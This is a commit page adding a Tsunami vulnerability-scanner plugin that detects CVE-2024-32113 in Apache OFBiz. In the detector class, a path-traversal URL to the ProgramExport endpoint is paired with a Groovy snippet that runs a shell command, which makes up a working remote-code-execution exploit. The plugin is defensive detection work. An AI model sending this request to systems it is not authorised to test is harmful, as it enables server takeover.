Skip to content

Commit 85726ac

Browse files
rpbeltrancopybara-github
authored andcommitted
Create Tsunami Plugin to detect CVE-2024-32113 in Apache OFBiz
PiperOrigin-RevId: 720728115 Change-Id: Iba586ac0765231d4c858c79ac0095405c8ecc716
1 parent bb250fd commit 85726ac

File tree

6 files changed

+438
-0
lines changed

6 files changed

+438
-0
lines changed
Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
# CVE-2024-32113 Detector
2+
3+
This detector identifies instances of Apache OFBiz which are vulnerable to
4+
CVE-2024-32113. This vulnerability is present in APache OFBiz berfore version
5+
18.12.13.
6+
7+
## Build jar file for this plugin
8+
9+
Using `gradlew`:
10+
11+
```shell
12+
./gradlew jar
13+
```
14+
15+
Tsunami identifiable jar file is located at `build/libs` directory.
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
plugins {
2+
id 'java-library'
3+
}
4+
5+
description = 'Apache OFBiz CVE-2024-32113 detector for Tsunami.'
6+
group = 'com.google.tsunami'
7+
version = '0.0.1-SNAPSHOT'
8+
9+
repositories {
10+
maven { // The google mirror is less flaky than mavenCentral()
11+
url 'https://maven-central.storage-download.googleapis.com/repos/central/data/'
12+
}
13+
mavenCentral()
14+
mavenLocal()
15+
}
16+
17+
java {
18+
sourceCompatibility = JavaVersion.VERSION_11
19+
targetCompatibility = JavaVersion.VERSION_11
20+
21+
jar.manifest {
22+
attributes('Implementation-Title': name,
23+
'Implementation-Version': version,
24+
'Built-By': System.getProperty('user.name'),
25+
'Built-JDK': System.getProperty('java.version'),
26+
'Source-Compatibility': sourceCompatibility,
27+
'Target-Compatibility': targetCompatibility)
28+
}
29+
30+
javadoc.options {
31+
encoding = 'UTF-8'
32+
use = true
33+
links 'https://docs.oracle.com/javase/8/docs/api/'
34+
}
35+
36+
// Log stacktrace to console when test fails.
37+
test {
38+
testLogging {
39+
exceptionFormat = 'full'
40+
showExceptions true
41+
showCauses true
42+
showStackTraces true
43+
}
44+
maxHeapSize = '1500m'
45+
}
46+
}
47+
48+
ext {
49+
tsunamiVersion = 'latest.release'
50+
junitVersion = '4.13'
51+
mockitoVersion = '2.28.2'
52+
truthVersion = '1.0.1'
53+
}
54+
55+
dependencies {
56+
implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}"
57+
implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}"
58+
implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}"
59+
60+
testImplementation "junit:junit:${junitVersion}"
61+
testImplementation "org.mockito:mockito-core:${mockitoVersion}"
62+
testImplementation "com.google.truth:truth:${truthVersion}"
63+
testImplementation "com.google.truth.extensions:truth-java8-extension:${truthVersion}"
64+
testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}"
65+
}
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
rootProject.name = 'ApacheOFBiz_CVE_2024_32113_Detector'
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,168 @@
1+
/*
2+
* Copyright 2025 Google LLC
3+
*
4+
* Licensed under the Apache License, Version 2.0 (the "License");
5+
* you may not use this file except in compliance with the License.
6+
* You may obtain a copy of the License at
7+
*
8+
* http://www.apache.org/licenses/LICENSE-2.0
9+
*
10+
* Unless required by applicable law or agreed to in writing, software
11+
* distributed under the License is distributed on an "AS IS" BASIS,
12+
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13+
* See the License for the specific language governing permissions and
14+
* limitations under the License.
15+
*/
16+
package com.google.tsunami.plugins.detectors.rce.cve202432113;
17+
18+
import static com.google.common.base.Preconditions.checkNotNull;
19+
import static com.google.common.collect.ImmutableList.toImmutableList;
20+
import static java.nio.charset.StandardCharsets.UTF_8;
21+
22+
import com.google.common.annotations.VisibleForTesting;
23+
import com.google.common.collect.ImmutableList;
24+
import com.google.common.flogger.GoogleLogger;
25+
import com.google.protobuf.ByteString;
26+
import com.google.protobuf.util.Timestamps;
27+
import com.google.tsunami.common.data.NetworkServiceUtils;
28+
import com.google.tsunami.common.net.http.HttpClient;
29+
import com.google.tsunami.common.net.http.HttpHeaders;
30+
import com.google.tsunami.common.net.http.HttpRequest;
31+
import com.google.tsunami.common.net.http.HttpResponse;
32+
import com.google.tsunami.common.time.UtcClock;
33+
import com.google.tsunami.plugin.PluginType;
34+
import com.google.tsunami.plugin.VulnDetector;
35+
import com.google.tsunami.plugin.annotations.ForWebService;
36+
import com.google.tsunami.plugin.annotations.PluginInfo;
37+
import com.google.tsunami.plugin.payload.Payload;
38+
import com.google.tsunami.plugin.payload.PayloadGenerator;
39+
import com.google.tsunami.proto.DetectionReport;
40+
import com.google.tsunami.proto.DetectionReportList;
41+
import com.google.tsunami.proto.DetectionStatus;
42+
import com.google.tsunami.proto.NetworkService;
43+
import com.google.tsunami.proto.PayloadGeneratorConfig;
44+
import com.google.tsunami.proto.Severity;
45+
import com.google.tsunami.proto.TargetInfo;
46+
import com.google.tsunami.proto.Vulnerability;
47+
import com.google.tsunami.proto.VulnerabilityId;
48+
import java.io.IOException;
49+
import java.net.URLEncoder;
50+
import java.time.Clock;
51+
import javax.inject.Inject;
52+
53+
/** Tsunami plugin for Apache OFBiz CVE-2024-32113. */
54+
@ForWebService
55+
@PluginInfo(
56+
type = PluginType.VULN_DETECTION,
57+
name = "Apache OFBiz CVE-2024-32113 Detector",
58+
version = "0.1",
59+
description = "This plugin detects Apache OFBiz instances vulnerable to CVE-2024-32113.",
60+
author = "Ryan Beltran ([email protected])",
61+
bootstrapModule = Cve202432113DetectorBootstrapModule.class)
62+
public final class Cve202432113Detector implements VulnDetector {
63+
private static final GoogleLogger logger = GoogleLogger.forEnclosingClass();
64+
65+
private final Clock utcClock;
66+
private final HttpClient httpClient;
67+
private final PayloadGenerator payloadGenerator;
68+
69+
@Inject
70+
Cve202432113Detector(
71+
@UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator) {
72+
this.utcClock = checkNotNull(utcClock);
73+
this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(false).build();
74+
this.payloadGenerator = checkNotNull(payloadGenerator);
75+
}
76+
77+
@Override
78+
public DetectionReportList detect(
79+
TargetInfo targetInfo, ImmutableList<NetworkService> matchedServices) {
80+
logger.atInfo().log("Apache OFBiz CVE-2024-32113 Detector starts detecting.");
81+
82+
return DetectionReportList.newBuilder()
83+
.addAllDetectionReports(
84+
matchedServices.stream()
85+
.filter(this::isServiceVulnerable)
86+
.map(networkService -> buildDetectionReport(targetInfo, networkService))
87+
.collect(toImmutableList()))
88+
.build();
89+
}
90+
91+
private boolean isServiceVulnerable(NetworkService networkService) {
92+
String rootUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService);
93+
String targetUri = rootUri + "webtools/control/forgotPassword/foo/../ProgramExport";
94+
95+
Payload payload =
96+
payloadGenerator.generate(
97+
PayloadGeneratorConfig.newBuilder()
98+
.setInterpretationEnvironment(
99+
PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL)
100+
.setExecutionEnvironment(
101+
PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT)
102+
.setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.REFLECTIVE_RCE)
103+
.build());
104+
105+
String encodedGroovyProgram =
106+
URLEncoder.encode(
107+
"throw new Exception('" + payload.getPayload() + "'.execute().text);", UTF_8);
108+
109+
try {
110+
HttpRequest req =
111+
HttpRequest.post(targetUri)
112+
.setHeaders(
113+
HttpHeaders.builder()
114+
.addHeader("Content-Type", "application/x-www-form-urlencoded")
115+
.build())
116+
.setRequestBody(ByteString.copyFromUtf8("groovyProgram=" + encodedGroovyProgram))
117+
.build();
118+
HttpResponse res = httpClient.send(req, networkService);
119+
return payload.checkIfExecuted(res.bodyBytes());
120+
121+
} catch (IOException e) {
122+
logger.atWarning().withCause(e).log(
123+
"Failed to exploit '%s'. Maybe it is not vulnerable", targetUri);
124+
return false;
125+
}
126+
}
127+
128+
@VisibleForTesting static final String VULNERABILITY_REPORT_PUBLISHER = "GOOGLE";
129+
130+
@VisibleForTesting
131+
static final String VULNERABILITY_REPORT_TITLE =
132+
"CVE-2024-32113 Remote code execution vulnerability in Apache OFBiz";
133+
134+
@VisibleForTesting static final String VULNERABILITY_REPORT_ID = "CVE-2024-32113";
135+
136+
@VisibleForTesting
137+
static final String VULNERABILITY_REPORT_DESCRIPTION =
138+
"The scanner detected that attackers can execute arbitrary code on the server via restricted"
139+
+ " endpoints without authorization";
140+
141+
@VisibleForTesting
142+
static final String VULNERABILITY_REPORT_RECOMMENDATION =
143+
"Upgrade to Apache OFBiz patched version 18.12.13.";
144+
145+
private DetectionReport buildDetectionReport(
146+
TargetInfo targetInfo, NetworkService vulnerableNetworkService) {
147+
return DetectionReport.newBuilder()
148+
.setTargetInfo(targetInfo)
149+
.setNetworkService(vulnerableNetworkService)
150+
.setDetectionTimestamp(Timestamps.fromMillis(utcClock.instant().toEpochMilli()))
151+
.setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED)
152+
.setVulnerability(
153+
Vulnerability.newBuilder()
154+
.setMainId(
155+
VulnerabilityId.newBuilder()
156+
.setPublisher(VULNERABILITY_REPORT_PUBLISHER)
157+
.setValue(VULNERABILITY_REPORT_ID))
158+
.addRelatedId(
159+
VulnerabilityId.newBuilder()
160+
.setPublisher("CVE")
161+
.setValue(VULNERABILITY_REPORT_ID))
162+
.setSeverity(Severity.CRITICAL)
163+
.setTitle(VULNERABILITY_REPORT_TITLE)
164+
.setDescription(VULNERABILITY_REPORT_DESCRIPTION)
165+
.setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION))
166+
.build();
167+
}
168+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
/*
2+
* Copyright 2025 Google LLC
3+
*
4+
* Licensed under the Apache License, Version 2.0 (the "License");
5+
* you may not use this file except in compliance with the License.
6+
* You may obtain a copy of the License at
7+
*
8+
* http://www.apache.org/licenses/LICENSE-2.0
9+
*
10+
* Unless required by applicable law or agreed to in writing, software
11+
* distributed under the License is distributed on an "AS IS" BASIS,
12+
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13+
* See the License for the specific language governing permissions and
14+
* limitations under the License.
15+
*/
16+
package com.google.tsunami.plugins.detectors.rce.cve202432113;
17+
18+
import com.google.tsunami.plugin.PluginBootstrapModule;
19+
20+
/** An example Guice module that bootstraps the {@link ExampleVulnDetector}. */
21+
public final class Cve202432113DetectorBootstrapModule extends PluginBootstrapModule {
22+
23+
@Override
24+
protected void configurePlugin() {
25+
// Tsunami relies heavily on Guice (https://github.com/google/guice). All Guice bindings for
26+
// your plugin should be implemented here.
27+
28+
// registerPlugin method is required in order for the Tsunami scanner to identify your plugin.
29+
registerPlugin(Cve202432113Detector.class);
30+
}
31+
}

0 commit comments

Comments
 (0)